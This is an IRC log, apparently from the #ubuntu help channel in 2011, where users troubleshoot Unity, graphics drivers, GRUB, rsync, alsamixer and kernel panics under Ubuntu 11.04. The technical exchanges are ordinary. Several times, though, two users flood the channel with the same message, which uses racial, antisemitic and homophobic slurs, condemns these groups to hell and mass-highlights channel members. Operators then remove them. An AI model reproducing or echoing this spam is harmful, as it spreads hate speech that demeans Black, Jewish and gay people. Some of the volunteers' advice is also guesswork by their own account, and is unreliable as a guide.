[17:37] <fezzik02> I'm having custom resolution issues with Unity and the nouveau driver
[17:38] <escott> dougl, if you cant find it try "tomato firmware"
[17:38] <user82> !autoclean
[17:38] <user82> hmmh...how was that dpkg command?
[17:38] <arnab> thanks
[17:39] <dougl> escott, yes I found it but still would be without the understanding of how to config for static ip
[17:39] <luis_> Hi, how set personal resolutions in ubuntu 11.04 (Amd hd4550) 1792x1344 and 1360x1024
[17:39] <stefg> OwenLA7QZ: My second thought is: it might be a system alternative My (guessed) command : sudo update-alternatives --config x-pdf-reader
[17:39] <zvacet> arnab: read about deborphan
[17:39] <luis_> #ubuntu-ar
[17:40] <stefan1a> I just upgraded to 11.04, and I installed the new nvidia driver. When I try to run SDL or OpenGL programs, I get a lot of lag both in the program and on the rest of my computer. Help
[17:40] <kill_joy> luis - type "display" in the unity search app  and you can mess with the resolution after clicking "monitor"
[17:40] <sffreer> IF YOU DIED TODAY DO  YOU KNOW WHERE YOU  WOULD END UP? NIGGERS, GAYS, JEWS  AND FREENODE  STAFF ARE  ALL GOING TO BURN  IN HELL... IF YOU  ARE ONE OF  THESE YOU NEED  TO ASK  JESUS CHRIST  FOR  IMMEDIATE FORGIVENESS.   sffreer marta Logrepo dabbish2 Stameni kimoliver stefan1a m00se hasenj ventsislav kamikaza luis_ tangent3_ Ahadiel_ mongy fezzik02 MarconM gridaphobe luisgrin OomElvis itaylor57 julesw tangent3 arnab moes happyface illmortal user82 Uzeb agu
[17:40] <escott> dougl, well if you go the router approach you technically wouldn't be static, you would be dynamic but the router would keep giving the same numeric ip lease (which is why that would be easier if your router supports i)
[17:41] <happyface> sffreer, i'm an athiest though
[17:41] <stefg> !pm | OwenLA7QZ:
[17:41] <ubottu> OwenLA7QZ:: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[17:41] <fezzik02> killjoy: There's no custom resolution in the Monitors panel
[17:41] <Stameni> ok, i found a way to let applications stay in system tray in UNIITY !       gsettings set com.canonical.Unity.Panel systray-whitelist "['all']"       jo-erland_
[17:41] <MarconM> o.O
[17:41] <dabbish2> haha, christian spam. funny
[17:41] <kill_joy> I just went there and  there's a pull down menu
[17:41] <MarconM> kkkk
[17:41] <happyface> dabbish2, yea lol
[17:41] <marta_> siemaneczko
[17:41] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show any entries. Does this mean that there will be no classrooms in #ubuntu-classroom in May, 2011?
[17:41] <fezzik02> kill_joy those are only default or autodetect resolutions, we need custom resolutions
[17:42] <dougl> escott, right... so I could flash the firmware and still not know how to assign ip address to mac addresses
[17:42] <kill_joy> just did a quick check...  I'm sure you're right
[17:42] <a111> Windows cant read from a NTFS partition created in linux?
[17:43] <zvacet> a111: yes
[17:43] <sffreer> IF YOU DIED TODAY DO  YOU KNOW WHERE YOU  WOULD END UP? NIGGERS, GAYS, JEWS  AND FREENODE  STAFF ARE  ALL GOING TO BURN  IN HELL... IF YOU  ARE ONE OF  THESE YOU NEED  TO ASK  JESUS CHRIST  FOR  IMMEDIATE FORGIVENESS.   sffreer a111 stefg LiquidOps davide_ Froq JoshDreamland phibxr HouseMD c0mp13371331337 rcmaehl marta_ [vipe] trainer dabbish2 Stameni stefan1a m00se hasenj ventsislav kamikaza luis_ tangent3_ Ahadiel_ mongy fezzik02 MarconM gridaphobe luisg
[17:43] <OwenLA7QZ> stefg: sudo update-alternatives --config x-pdf-reader (This is Navigatrix, branch of 10.04?)
[17:43] <fezzik02> a111: I think you might have to 'sign' it in the Window$ disk amanger
[17:43] <MarconM> ¬¬
[17:43] <Stameni> please kick this dude
[17:43] <kill_joy> ok, I just typed "nvidia" into the unity search and got my graphix card settings...  try typing in yours
[17:43] <luisgrin> nothing to do with ubuntu, but i wonder what happens if you are nigger, jew, gay and freenode staff? is jesus enough to save you? :)
[17:43] <kamikaza> pls
[17:43] <a111> oh kk
[17:43] <OwenLA7QZ> stefg, I get: update-alternatives: error: no alternatives for x-pdf-reader.
[17:43] <MarconM> agree
[17:43] <IdleOne> !language | luisgrin
[17:43] <ubottu> luisgrin: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[17:44] <escott> dougl, try http://www.dslreports.com/forum/r20956187-WRT54GS-wDDWRT-Force-IP-to-MAC
[17:44] <zvacet> a111: I mean windows should be able to read any ntfs partition
[17:44] <IdleOne> Please ignore the spam folks.
[17:44] <fezzik02> kill_joy that one doesn't let us do custom, either :(
[17:44] <zach_> Dr_Willis, the download isn't corrupt
[17:44] <Supernova> Oooooh, spam
[17:44] <fezzik02> kill_joy:have also tried xrandr, no love
[17:44] <dougl> escott, thanks looking now
[17:44] <OwenLA7QZ> stefg, I get: update-alternatives: error: no alternatives for x-pdf-reader.
[17:44] <stefg> OwenLA7QZ: it was guesswork. Meanwhile i checked it myself and did not find that update-alternatives changes the default pdf reader
[17:45] <[vipe]> jesus couldnt save himself ;)
[17:45] <luisgrin> I have installed ubuntu server and some X support, now i would like to add kind of terminal server, i couldnot find until now one easy to install
[17:45] <a111> zvacet, The win7 install said it couldnt read from it
[17:45] <kill_joy> once you're in your settings (nvidia in my case) your display settings are to the right (pull down menu) lets you choose new resolution
[17:45] <trailoryo> sammy : Thanks ! after some reading on handling repositaries it's now working perfectly:)
[17:46] <stefg> OwenLA7QZ: and another thing is: it is not ubuntu. hell knows what the developers of your dstro did, so there is no guarantee that things woorking in ubuntu work in a derivative as well
[17:46] <Captain_Haddock> Hi, I need  some help with rsync: how do I set it to only copy new files/directories? i.e., the opposite of the --existing option.
[17:47] <stefg> !rsnc
[17:47] <zvacet> a111:  I think it is strange but not a expert
[17:47] <stefg> !rsync
[17:47] <ubottu> rsync is a fast remote file copy and synchronization program - For more see: https://help.ubuntu.com/community/rsync
[17:47] <User_007> Hello guys,
[17:47] <Captain_Haddock> thanks stefg
[17:48] <stefg> Captain_Haddock: hint: --update
[17:48] <kill_joy> anyone having issues with synaptic after upgrading to natty?
[17:49] <OwenLA7QZ> stefg. Most stuff for ubuntu works fine (everything in Package Manager), but this one has me stumped.
[17:49] <deitarion> Did someone make a change to APT recently without passing it through quality control review or something? My mother did what she says was a "partial upgrade" a couple of days ago and found her Digikam missing (She's using Lubuntu with KDE bits) and now, when I try to re-install it, it refuses because things like kdebase-runtime aren't going to be installed rather than just pulling them in like it should.
[17:50] <binox> dr willis:  or anyone,   vlc media worked to run dvds  not choppy  instead of totem      why?
[17:50] <bullgard4> kill_joy: Me not.
[17:50] <DavidePalm> I'm having an issue, My NTFS partition shows as being smaller under windows7 than it actually should be.  If I check with gparted under ubuntu it says it should be 70+GB 30used and 40unused, but under windows it says the disk is only 37gb total 30 used, 7 unusued any idea what's going on?
[17:50] <Captain_Haddock> stefg: --update also updates older files. I only want missing files/directories to be copied.
[17:50] <kill_joy> bullgard4: I've gone through alot of forums and can't get the issue resolved
[17:51] <binox> is there something i can now do to make simple games run(like tuxcart or something)  without choppy video.   after that   im a full time ubuntu user
[17:51] <IdleOne> deitarion: the partial upgrade is what messed things up. probably best to ask in #lubuntu for help with this.
[17:51] <stefg> Captain_Haddock: man rsync :-)
[17:51] <bullgard4> kill_joy: Look up the error in Launchpad.
[17:51] <Captain_Haddock> stefg: I'm here after doing that :)
[17:51] <Captain_Haddock> " -u, --update                update only (don't overwrite newer files)"
[17:51] <User_007> Guys, i get last Ubuntu (Natty amd64), and i want to install some indicator-applets (like cpufreq) on Unity,
[17:51] <sammy> trailoryo: no problem. try googling first, and see if any results are on the ubuntu wiki, or in a forum post on the ubuntu forums with '[SOLVED]' in the title.
[17:51] <stefg> Captain_Haddock: and often forgotten: /usr/share/docs/rsync
[17:52] <kill_joy> bullgard4: ok, I'll give it a try
[17:52] <Captain_Haddock> stefg: What I want is the opposite of --existing.. nothing in the man pages seem to hint at anything for it.
[17:52] <sffreer> IF YOU DIED TODAY DO  YOU KNOW WHERE YOU  WOULD END UP? NIGGERS, GAYS, JEWS  AND FREENODE  STAFF ARE  ALL GOING TO BURN  IN HELL... IF YOU  ARE ONE OF  THESE YOU NEED  TO ASK  JESUS CHRIST  FOR  IMMEDIATE FORGIVENESS.   sffreer syslq nyoger x1sc0 dr3mro stefanivarsson slack_ oCean Hilikus binox DavidePalm wabznasm NEXUS-6 trollboy rako_ djm_ sandGorgon deitarion Guybrush88 LjL i_is_broke tuxampol dfgas wzssyqa User_007 jrib Logrepo 
[17:52]  * Captain_Haddock checks out /usr/share ....
[17:52] <User_007> i found it's possible ((http://www.omgubuntu.co.uk/2011/01/the-omg-guide-to-must-have-indicator-applets/), but just installing don  make them appear  near the clock
[17:52] <binox> maverick.  intel 82852/855     fixed dvd choppy playback  by using vlc instead of totem  worked great.  flash video is fine.
[17:52] <binox> some games dont run not choppy,  simple ones like tuxcart or wurmtux
[17:52] <binox> any ideas
[17:53] <iceroot> binox: any errors?
[17:53] <binox> iceroot:  how to check,
[17:53] <binox> but i dont think
[17:54] <slack101> hello
[17:54] <shigutso> Giving away lots of Snivys, Oshawotts and Tirtougas, all Lv 1
[17:55] <mpy> is there a sound fix for macbook 7.1 yet?
[17:55] <stefg> Captain_Haddock: so you /don't/ want to update existng files, but add newly created ones?
[17:55] <mpy> if so, can anyone help me out?
[17:55] <nyoger> /dev/dsp is present in lucid.  if /dev/dsp stopped being present in maverick on out, then will lucid suffice for video capture ?
[17:55] <binox> iceroot: totem wouldnt play dvd smooth even after installind libdvdread4  and enabling drm to dvd.   i installed vlc and it worked fine. my flash vid works fine too. is it possibble maybe vga are not enabled or something?
[17:56] <iceroot> binox: what vga you have?
[17:56] <stefg> Captain_Haddock: i'd use rdiff-backup ... sort of time-machine'ish backup for the cli
[17:56] <binox> the card is intel 82852/855 integrated,  old i know  ,  but should work , am i right?
[17:57] <vaxinated> hello world
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[17:57] <werjw> IF YOU DIED TODAY DO  YOU KNOW WHERE YOU  WOULD END UP? NIGGERS, GAYS, JEWS  AND FREENODE  STAFF ARE  ALL GOING TO BURN  IN HELL... IF YOU  ARE ONE OF  THESE YOU NEED  TO ASK  JESUS CHRIST  FOR  IMMEDIATE FORGIVENESS.   trainer dabbish2 Stameni stefan1a m00se hasenj kamikaza luis_ tangent3_ Ahadiel_ mongy MarconM luisgrin itaylor57 julesw tangent3 happyface illmortal user82 aguitel_ Stormx2 apelgate MicroBot tormod hobbsc craigbass1976 d
[17:57] <werjw> IF YOU DIED TODAY DO  YOU KNOW WHERE YOU  WOULD END UP? NIGGERS, GAYS, JEWS  AND FREENODE  STAFF ARE  ALL GOING TO BURN  IN HELL... IF YOU  ARE ONE OF  THESE YOU NEED  TO ASK  JESUS CHRIST  FOR  IMMEDIATE FORGIVENESS.   OiPenguin lamalex Froq_ ki__ Gwar tolmun_ netsjanek jibadeeha MadViking akshatj_ choonming Naenyn webben morgajel ai6pg ProfessorBacon Guest90922 nmodprime avdi loglad ross_ Eryn_1983_FL01 Barridus DodgeThis akem DNX kate
[17:57] <stefg> vaxinated: syntax error in line #1
[17:57] <Hilikus> again??
[17:57] <edbian> !ops
[17:57] <ubottu> Help! Channel emergency! (ONLY use this trigger in emergencies) - elky, Madpilot, tritium, Nalioth, tonyyarusso, PriceChild, Amaranth, jrib, Myrtti, mneptok, Pici, jpds, gnomefreak, bazhang, jussi, Flannel, ikonia, maco, h00k, IdleOne, nhandler, bilalakhtar, Jordan_U, or rww!
[17:57] <asdfsdggre> 1^^
[17:58] <SpaceBass> hey folks
[17:58] <maco> edbian: taken care of
[17:58] <edbian> maco: thanks
[17:58] <maco> edbian: it was IdleOne
[17:58] <stefanivarsson> Anyone know if nvidia 96 driver is ok for Natty?
[17:58] <vaxinated> stefg: core dump
[17:58] <edbian> IdleOne: Why would you spam the channel?!
[17:58] <maco> edbian: what?
[17:58] <SpaceBass> having trouble with 11.04 - cant get mysql-core-5.1 to install, suspect its because of a previous install. Tried to purge it, no dice
[17:58] <maco> edbian: IdleOne got rid of the spammer
[17:58] <edbian> maco: It was a joke
[17:58] <User_007> Can anyone help me with indicator-applets?
[17:58] <asdfsdggre> werjw wichser
[17:58] <deitarion> Someone needs to write an IRC daemon which can implement "Too many nicks. You're kickbanned." BEFORE passing the message on to everyone.
[17:59] <IdleOne> edbian: lol I wouldn't and you should know that :)
[17:59] <edbian> IdleOne: :)
[18:00] <deitarion> Does anyone know of a way to ask apt-get for a list of which repo each broken package is coming from?
[18:00] <binox> iceroot:  i fixed it, rand drm to hdd.  thank you.     I am now ubuntu full time, windows is gone.  thank you
[18:01] <bullgard4> !ask | User_007
[18:01] <ubottu> User_007: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[18:01] <binox> can anyone tell me why dvd runs properly for me with vlc  instead of totem
[18:01] <vak> Is it possible to pin Eclipse icon to Launcher in Ubuntu Unity somehow?
[18:01] <User_007> bullgard4 i have already asked the question
[18:01] <wabznasm> vak: I've done it. unity2d or unity or classic?
[18:01] <oCean> deitarion: apt-cache policy packagename shows repo origin I think
[18:01] <puckipedia> vak:Open eclipse, rightclick in unity and choose "Keep in launcher"
[18:01] <User_007> bullgard4, i get last Ubuntu (Natty amd64), and i want to install some indicator-applets (like cpufreq) on Unity,
[18:02] <deitarion> Aha! A website suggested trying with aptitude instead and it gave me an answer.
[18:02] <rcmaehl> how do I find out if I'm running 64-bit 11.04 via terminal/
[18:02] <vaxinated> binox: vlc has its own decoders for video/audio, totem needs gstreamer codecs added.
[18:02] <stefg> rcmaehl: uname -a
[18:02] <vak> wabznasm: or damn, I don't know... default one that comes with Ubuntu 11 desktop...
[18:02]  * rcmaehl rages at the devs
[18:02] <deitarion> When aptitude suggested the same solution as apt-get and I picked "no", it then suggested downgrading half of KDE from maverick-security to maverick so the other half (from maverick) would accept it.
[18:02] <bullgard4> User_007: (I am not familiar with Unity.)
[18:03] <Primedeath> Hello, folks.
[18:03] <wabznasm> vak: as puckipedia said - open Eclipse, then right cllick the icon in the launcher and 'Keep in launcher'
[18:03] <kill_joy> hello
[18:03] <vak> puckipedia: no. It get's pinned until the end of the session only (and also icon isn't detected correctly)
[18:03] <vak> wabznasm: ^^
[18:03] <binox> vaxinated:  thast makes sense,  thank you.  here is a question then ,  when i installed libdvdread4,  should i have not got prompted to search for the codec plugins.  i did not,  how could i install the gstreamer plugins manually,  although i will probably just use vlc
[18:04] <rgr> deitarion: my own experience is never to mix apt-get and aptitude. others swear its fine. I know its ont.
[18:04] <dan_> hello, how can i disable that windows get maximized if dragged to the upper edge of the screen?, annoyes the hell out of me
[18:04] <Primedeath> Hello, I was wondering if any of you would give me your opinion on how well Ubuntu would work on a G4 800mhz iMac?
[18:05] <rgr> But its not worth arguing with people - if they want to think it works good luck to them. But when I mixed the two my system fell to pieces.
[18:05] <vaxinated> binox: look for totem and gstreamer in ubuntu software center.  i think there is a connection.
[18:05] <Primedeath> Also, I am trying to find the download image for the PPC version but the only link I have found was in the Daily Builds section.
[18:05] <skullboy> how do i change the grub key config
[18:05] <webben> Omega: What option in Keyboard Preferences would allow me to type a hash?
[18:05] <vaxinated> binox: or you could just install mplayer which handles video nicely.
[18:05] <bullgard4> !grub | skullboy
[18:05] <ubottu> skullboy: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[18:06] <binox> ok thank you,  my problem is solved,  but the more i know the better. im fully converted now.   thanks again
[18:06] <srisimil> I just installed Ubuntu 11.04 by upgrading from 10.04, installation went fine. But now I can't boot into my windows xp partition.
[18:06] <Stameni> How to set Geany to run code using python3, not 2    ?
[18:06] <srisimil> can someone please help me?
[18:06] <Omega> webben: You can't type a hash? try shift-3
[18:06] <stefg> Primedeath: CPU-wise you should be fine, deppends on how much ram you have. Official PPC support was dropped after 6.06, so i don't know how good the community port of later releases is
[18:07] <Primedeath> Damn.
[18:07] <webben> Omega: Shift-3 is £.
[18:07] <webben> (which is correct)
[18:07] <Primedeath> The only PPC version I found is  http://cdimage.ubuntu.com/daily-live/current/
[18:07] <kernelpanicker> I need to burn a dmg to a DVD to rescue my friend's Apple (using my linux machine).  How do I burn it in a way that the apple will boot from?  I'm assuming if I just burn the file, it won't be bootable, as the result will be a DVD containing a dmg file, and not what an apple would burn FROM a dmg.
[18:07] <skullboy> how do i change the grub key config
[18:07] <raju> SRISMIL update grub
[18:07] <shigutso> how can I make unity bar stay animating urgent until I click it?
[18:07] <stefg> Primedeath: you will certainly have issues with things like flash and hardware support
[18:07] <SalahGo> srisimil, update-grub in root command
[18:07] <Primedeath> So would it be best just to install 10.4?
[18:08] <raju> !grub | srisimil
[18:08] <ubottu> srisimil: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[18:08] <raju> srisimil:  THAT CAN HELPN U
[18:08] <Primedeath> What do you think stefg?
[18:08] <webben> Omega: Looks like turning on left-alt-to-3rd-level gets me # on alt-3 ... but it also disables other alt-based functionality
[18:08] <skullboy> how do i change the grub key config
[18:08] <Omega> webben: what functionality does it disable?
[18:08] <webben> Omega: alt-whatever to open a menu
[18:09] <srisimil> raju: did that. Actually I already had a dual boot system. Even now I can see my windows option on the grub screen. But when i select it it just goes blank
[18:09] <webben> Omega: right-alt-to-3rd-level seems to work better.
[18:09] <stefg> Primedeath: yeah, sounds reasonable. If you have around a gig of ram ii'd try a 10.04 install, and hunt down some ppa-repos for things like firefox and stuff
[18:09] <tomasz> what is spam check ?
[18:09] <Omega> webben: try any alt
[18:09] <djazz> what to do when ubuntu dont see my (usb) bluetooth adapter? 11.04, AOA110
[18:10] <webben> Omega: any alt disables alt-[letter] to open a menu too
[18:10] <tomasz> what is floodbot ?
[18:10] <HrT> Hi, I'm following this guide to install my ATI HD 5470 driver on Ubuntu 11.04, http://ubuntuforums.org/showthread.php?t=1409467 | when I reach sudo aticonfig --initial, it says command not found, please HELP
[18:10] <raju> srisimil:  verify that windows /sda and grub windows /sda ....i mean both are same or not
[18:10] <skullboy> how do i change the grub key config
[18:10] <asdfsdggre> hi
[18:10] <User_007> i needs help with unity on Natty, can anyone help?
[18:10] <webben> Omega: oh interesting looks like right-alt+3 gives # by default
[18:10] <asdfsdggre> i have question
[18:10] <webben> I can probably live with that
[18:11] <Chipzzz> tomasz: floodbot tells you not to type too many lines without a break
[18:11] <srisimil> raju: can you elaborate on that plz
[18:11] <tomasz> but i come nothing write and check me i am not bot
[18:11] <asdfsdggre> hi
[18:11] <asdfsdggre> i have question
[18:11] <skullboy> what is it
[18:11] <asdfsdggre> my question is
[18:11] <asdfsdggre> can sb help me
[18:12] <skullboy> spill it
[18:12] <raju> srisimil:  sure
[18:12] <djazz> :| what to do when ubuntu not finds my bluetooth adapter?
[18:12] <Chipzzz> tomasz: they are having tech problems... floodbot is checking for bots while they fix it
[18:12] <tjiggi_fo> IdleOne, I spy larstorben asdfsdggre
[18:12] <skullboy> how do i change the grub key config
[18:13] <srisimil> asdfsdggre: just ask your question. someone will answer
[18:13] <SalahGo> pulseaudio applet on 11.04 is,!
[18:13] <SalahGo> ???
[18:13] <tomasz> ok
[18:13] <HrT> please help: Hi, I'm following this guide to install my ATI HD 5470 driver on Ubuntu 11.04, http://ubuntuforums.org/showthread.php?t=1409467 | when I reach sudo aticonfig --initial, it says command not found, please HELP
[18:14] <djazz> anyone wanna help?
[18:14] <skullboy> how do i change the grub key config
[18:14] <djazz> me
[18:14] <user82> can i search for terminal commands in the "history". like i knew i started programm1 and nedd all parameters back?
[18:14] <escott> user82, history
[18:14] <bullgard4> user82: Ctrl-R
[18:14] <arand_> user82: [crtl+r] and start typing to search
[18:15] <user82> nice..more time to be saved. thanks
[18:15] <thien> sometime I have a window of which, the button (Ok/Cancel/Finish...) can't click until I move the window a bit. How to fix it?
[18:15] <raju> srisimil:  u here ?
[18:15] <srisimil> raju:yes
[18:15] <jeroen__> hi
[18:15] <billybob> can someone tell me how /if 3d is working in 11.4 with a ati 9800 card?
[18:16] <kernelpanicker> Anyone know how to burn a dmg of a live DVD to DVD so it'll be bootable?
[18:16] <djazz> hciconfig -a outputs nothing
[18:16] <nsahoo> google chrome window decorations are broken after ubuntu 11.04 upgrade. Once, I maximize and restore the chrome window it's covered by regular application window border
[18:16] <usalabs> can someone help me with using the passwords and encryption keys to configure with an SSH remote server?
[18:16] <djazz> I have two adapters and none work..
[18:16] <stefg> !ssh
[18:16] <jrib> !ssh | usalabs
[18:16] <ubottu> SSH is the Secure SHell protocol, see: https://help.ubuntu.com/community/SSH for client usage. PuTTY is an SSH client for Windows; see: http://www.chiark.greenend.org.uk/~sgtatham/putty/ for it's homepage. See also !scp (Secure CoPy) and !sshd (Secure SHell Daemon)
[18:17] <ubottu> usalabs: please see above
[18:17] <coder2> Hello. Could anyone help me with alsamixer. It does start, just writing:  Mixer load hw:0 error: Invalid argument
[18:17] <skullboy> how do i change the grub key config
[18:17] <djazz> It works on other computers..
[18:17] <jeroen__> hi i upgraded my ubuntu to 11.04 but now i can ownley see my background
[18:18] <kill_joy> anyone know how to make ubuntu check for file errors and correct them (in terminal or otherwise)?
[18:18] <bullgard4> coder2: May be it helps to re-install alsamixer.
[18:18] <Chipzzz> HrT: you may have to cd to the directory where aticonfig resides or use the full path to invoke it
[18:18] <stefg> !fsck
[18:18] <ubottu> fsck is the FileSystem ChecKer, which runs automatically when you boot if you didn't shutdown cleanly. Type "man fsck" for information on running it manually. The command "sudo shutdown -F -r now" will force a reboot and a filesystem check; "sudo touch /fastboot" will skip a filesystem check at next reboot
[18:18] <djazz> blueman applet doesnt work in 11.04...
[18:18] <coder2> bulgard4: how to do it?
[18:18] <kill_joy> thanks
[18:19] <stefg> !fsck > kill_joy
[18:19] <ubottu> kill_joy, please see my private message
[18:19] <coder2> sorry, bullgard4, how to reinstall mixer only
[18:19] <kill_joy> ok
[18:19] <renan> Hi there, how to install the wireless proprietary drivers? ubuntu 11.4, any help greatly appreciated!
[18:19] <renan> Thanks!
[18:19] <Omega> .go sni
[18:19] <Dr_Willis> renan:  one way. hook up a wired connection and try the addational-drivers tool and hope it can download them. Thats the easiest way
[18:19] <djazz> hello?
[18:19] <kill_joy> alright, ubottu. I'm going to give that a shot. thank again
[18:20] <superdump> is there some way, perhaps involving a separate terminal with the alternate installer, to reuse an existing encrypted lvm partition layout, formatting only some partitions and merely mounting and reusing others?
[18:20] <Dr_Willis> renan:  a lot will depemnd on your exact wireless card and chipset
[18:20] <bullgard4> coder2: Using Synaptic, de-install the DEB program package »gnome-alsmixer«. Then re-install it.
[18:20] <billybob> i am getting 48 fps in glxgears shouldnt unity work?
[18:20] <renan> Dr_Willis: I did that, but its not showing anything. However the same procedure worked on ubuntu 10.10
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[18:20] <coder2> bullgard4: I had to install lucid on other mobo, then returned my mobo back. Sound works, but i cannot control volume
[18:20] <jeroen__> has anyone got a clue why my menu's stoped working in ubuntu 11.04
[18:20] <Dr_Willis> renan:  its possuible thers some bug with the addational-drivers tool
[18:21] <billybob> i meant Iam gettting 84fps in glxgears shouldnt unity be working?
[18:21] <renan> Dr_Willis: is there another way?
[18:21] <coder2> bullgard4: I do not have gnome at all. It is console-only system
[18:21] <Dr_Willis> billybob:  glxgears is not a very good benchmark.
[18:22] <Dr_Willis> renan:  if you knew qwhat packages to install you could download them I guess. but how you figure out what you need, i dontknow
[18:22] <trailoryo> Hey guys I got a problem with watching 720p/1080pHD (in any player). It runs, but not even close to smooth. Here's "/var/log/Xorg.0.log" ----> http://paste.ubuntu.com/601700/
[18:22] <renan> hum... Thanks...
[18:22] <billybob> Dr_Willis can you help trouble shoot
[18:23] <mathmoi> Hi, what should I do if lsusb simply hang (I can't even use C-c to kill it)?
[18:23] <Dr_Willis> billybob:  tell the channel your video card/chipset and details of the whole problem.
[18:23] <bullgard4> coder2: 'sudo apt-get remove gnome-alsamixer && apt-get install gnome-alsamixer'.
[18:23] <justyellowboy> Anybody here well-versed in GIMP? The chat there seems empty. How do you a PNG specifically in 8-bit format?
[18:23] <stefg> trailoryo: there are known bugs with fglrx in natty. Try the open source driver
[18:23] <justyellowboy> *save
[18:23] <paulm9> hi, I'm trying to get postfix to relay mails via exchange.   i'm getting SASL authentication failed because of authentication unsuccessful. Could this at all be caused by an Untrusted TLS connection?
[18:23] <billybob> my card is ati  9800 unity will not run that is all I know
[18:24] <coder2> bullgard4:  how about alsamixer? No GUI, no gnome
[18:24] <tansell-laptop> where does upstart keep the configration information that makes things like "start libvirt" work?
[18:24] <bullgard4> coder2: alsamixer does not need GNOME.
[18:24] <trailoryo> stefg: how do I get that?
[18:24] <justyellowboy> bullgard4: The package name is just "alsamixer". Open it from the terminal and press F5 to make adjustments.
[18:25] <bullgard4> justyellowboy: Wrong adressee.
[18:25] <bullgard4> justyellowboy: Wrong addressee.
[18:25] <coder2> bullgard4, so why I should install "gnome-alsamixer" instead of just alsamixer?
[18:25] <Dr_Willis> alsamixer is a text based/console mixer program.
[18:25] <Dr_Willis> or was that alsa-mixer? i get so confused
[18:25] <bullgard4> coder2: I did not know that you do not have GNOME.
[18:25] <MrTolkinghorn> hey, anyone had problems with instability with a kernel? Whenever I have my stable overclocks on (4.2 ghz on a core i7) my computer crashes despite windows working just fine with hours of prime95...
[18:25] <Chipzzz> justyellowboy: when you save a file as a PNG a dialog opens that should allow you to adjust the format (unless it started out as a PNG)
[18:26] <coder2> Dr_Willis, Yes, I need console-only, but it do not start
[18:26] <MrTolkinghorn> 2.6.32-28 was the only truly stable kernel, any of the new ones crash
[18:26] <tensorpudding> MrTolkinghorn: you should isolate what is causing it to crash, first
[18:26] <tensorpudding> MrTolkinghorn: is it a kernel panic?
[18:27] <MrTolkinghorn> which log should I look under for that?
[18:27] <coder2> bullgard4, sorry, I've mentioned that my system is console-only
[18:27] <MrTolkinghorn> tensorpudding: I'm having trouble finding any errors in the log
[18:27] <rmatte> does anyone know of a simple way to revert to the versions of compiz/emerald that were included with 10.10 after upgrading to 11.04?  The new version of emerald is buggy with my window theme.
[18:27] <tensorpudding> a kernel panic would put a big dump on the screen and wait for you to reboot the machine
[18:27] <MrTolkinghorn> tensorpudding: it is a kernel panic then
[18:27] <renan> Dr_Willis: Dell Wireless 1370 WLAN Mini-PCI Card
[18:27] <stefg> trailoryo: http://askubuntu.com/questions/33092/how-well-do-ati-drivers-work-with-unity
[18:28] <tensorpudding> first you should stop overclocking and see if it still panics
[18:28] <billybob> doeas anyone else knoe why glxgears would work but unity not
[18:28] <MrTolkinghorn> tensorpudding, but it isn't giving me a clear error
[18:28] <MrTolkinghorn> tensorpudding, no it works just fine without an overclock
[18:28] <renan> Dr_Willis: now how to download and instal?
[18:28] <rmatte> billybob: glxgears is just an indication that OpenGL is functional, it is not an indication that compositing (which is required for Unity) is functional.
[18:28] <renan> Dr_Willis: would you know that?
[18:28] <Chipzzz> MrTolkinghorn: I'm running 2.6.32-31 on two machines & they're both very stable
[18:28] <bullgard4> coder2: Try 'sudo apt-get remove alsa-utils && apt-get install alsa-utils'.
[18:29] <MrTolkinghorn> chipzzz the older kernels worked, after the 2.6.32 kernels, they stopped working.
[18:29] <stefg> !pm | trailoryo
[18:29] <ubottu> trailoryo: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[18:29] <tensorpudding> by default linux isn't configured to dump core
[18:29] <escott> billybob, check your glxinfo to see what renderer you have
[18:29] <billybob> is there a test for composting
[18:29] <billybob> checking
[18:29] <rmatte> billybob: are you by any chance using two monitors across two different video cards?
[18:29] <MrTolkinghorn> tensorpudding how can I turn on dump core, so I can get a clear error message?
[18:29] <rmatte> billybob: or one video card that has two cards in it connected via SLI across two monitors?
[18:29] <tensorpudding> not sure
[18:29] <coder2> Dr Willis, bullgard4: replacing of motherboard caused problems with network and sound. I've fixed network, but i do not know how to fix sound
[18:29] <brous-kee> tansell-laptop, try this  http://www.linux.com/archive/feature/125977
[18:30] <MrTolkinghorn> tensorpudding, ok thanks, I can just look it up of course. Now that I know it ISN't dumping the core.
[18:30] <billybob> rmate no one both
[18:30] <rmatte> sorry, clarify?
[18:30] <tensorpudding> have you read the stacktrace that comes up during the panic?
[18:30] <justyellowboy> Chipzzz: I tried using compression level 8, but the 1000x1000 file size comes up wrong. It should be in the 100-200 Kbyte range, and I'm getting 900+.
[18:30] <karthick87> How to remove unused PPA from command line?
[18:30] <stefg> trailoryo: that has nothing to do with unity, the problem is with the version of xorg in natty and fglrxx don't play well together
[18:30] <Barridus> it's not possible to have the current weather in the clock area/top toolbar anymore?
[18:30] <Wampyre> Hello.  I've just installed 11.04.  Not very happy with the menu system.  How can I make it act more like a traditional menu?
[18:31] <billybob> escitt say direct rendering
[18:31] <tensorpudding> you can get core dumps by installing linux-crashdump
[18:31] <stefg> !classic
[18:31] <ubottu> The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[18:31] <trism> justyellowboy: I believe using Image/Mode/Indexed... then selecting the palette, <= 256 should give you an 8-bit png when you save (imagemagick identify gives me that impression when I check it after saving)
[18:31] <trailoryo> stefg: yeah thanks man i've read some more now^^ think i will be able to fix it by myself from this point on, thanks again
[18:31] <tensorpudding> and configuring grub i think
[18:31] <MrTolkinghorn> tensorpudding no I haven't, I'm actually not sure what that is. I'll install that.
[18:31] <paulm9> hi, where can i get help with setting up postfix?
